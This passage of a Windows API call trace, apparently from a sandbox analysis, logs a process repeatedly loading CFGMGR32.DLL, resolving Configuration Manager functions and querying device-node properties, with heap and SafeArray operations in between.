lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.584] malloc (_Size=0x18) returned 0x20abc281f20 [0236.584] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x5, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0236.585] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x48c67d84, dwHighDateTime=0x1d9eb0c)) [0236.585] SetEvent (hEvent=0x248) returned 1 [0236.588] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.589] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.592] malloc (_Size=0x18) returned 0x20abc281f00 [0236.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0236.592] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48c92c26, dwHighDateTime=0x1d9eb0c)) [0236.593] SetEvent (hEvent=0x248) returned 1 [0236.599] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.599] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.603] malloc (_Size=0x18) returned 0x20abc282000 [0236.604] CM_Get_Device_IDA (in: dnDevInst=0x3, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A08\\0") returned 0x0 [0236.604] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x48cb4775, dwHighDateTime=0x1d9eb0c)) [0236.604] SetEvent (hEvent=0x248) returned 1 [0236.609] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.609] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.613] malloc (_Size=0x18) returned 0x20abc2820c0 [0236.613] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0236.614] malloc (_Size=0x5a) returned 0x20abc2807d0 [0236.614] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0236.615] free (_Block=0x20abc2807d0) [0236.615] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48cb4775, dwHighDateTime=0x1d9eb0c)) [0236.615] SetEvent (hEvent=0x248) returned 1 [0236.619] malloc (_Size=0x18) returned 0x20abc282060 [0236.619] SafeArrayPutElement (psa=0x20abbaf2520, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0236.619] free (_Block=0x20abc282060) [0236.619] malloc (_Size=0x18) returned 0x20abc281d60 [0236.619] SafeArrayPutElement (psa=0x20abbaf2520, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0236.619] free (_Block=0x20abc281d60) [0236.619] malloc (_Size=0x18) returned 0x20abc281b20 [0236.619] SafeArrayPutElement (psa=0x20abbaf2520, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0236.619] free (_Block=0x20abc281b20) [0236.619] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d870 [0236.619] SafeArrayGetDim (psa=0x20abbaf2520) returned 0x1 [0236.619] SafeArrayGetLBound (in: psa=0x20abbaf2520, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0236.619] SafeArrayGetUBound (in: psa=0x20abbaf2520, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0236.620] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0236.620] SafeArrayGetDim (psa=0x20abbaf2520) returned 0x1 [0236.620] SafeArrayGetUBound (in: psa=0x20abbaf2520, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0236.620] SafeArrayGetElemsize (psa=0x20abbaf2520) returned 0x8 [0236.620] SafeArrayGetElement (in: psa=0x20abbaf2520, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0236.620] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.621] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.621] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0236.622] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d870) returned 1 [0236.623] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.623] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.627] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.627] malloc (_Size=0x18) returned 0x20abc281fa0 [0236.628] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0236.628] malloc (_Size=0x14) returned 0x20abc282000 [0236.628] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc282000, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc282000, pulLength=0x2dc22fd3f8) returned 0x0 [0236.628] free (_Block=0x20abc282000) [0236.628] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48cda4b5, dwHighDateTime=0x1d9eb0c)) [0236.629] SetEvent (hEvent=0x248) returned 1 [0236.683] malloc (_Size=0x18) returned 0x20abc281fa0 [0236.683] SafeArrayPutElement (psa=0x20abbaf2520, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0236.683] free (_Block=0x20abc281fa0) [0236.684] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0236.684] SafeArrayGetDim (psa=0x20abbaf2520) returned 0x1 [0236.684] SafeArrayGetLBound (in: psa=0x20abbaf2520, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0236.684] SafeArrayGetUBound (in: psa=0x20abbaf2520, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0236.684] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0236.684] SafeArrayGetDim (psa=0x20abbaf2520) returned 0x1 [0236.684] SafeArrayGetUBound (in: psa=0x20abbaf2520, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0236.684] SafeArrayGetElemsize (psa=0x20abbaf2520) returned 0x8 [0236.684] SafeArrayGetElement (in: psa=0x20abbaf2520, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0236.685] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.686] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0236.687] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0236.687] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.688] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.692] malloc (_Size=0x18) returned 0x20abc2819a0 [0236.693] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.698] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48d9923b, dwHighDateTime=0x1d9eb0c)) [0236.699] SetEvent (hEvent=0x248) returned 1 [0236.704] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.704] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.709] malloc (_Size=0x18) returned 0x20abc2820a0 [0236.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, 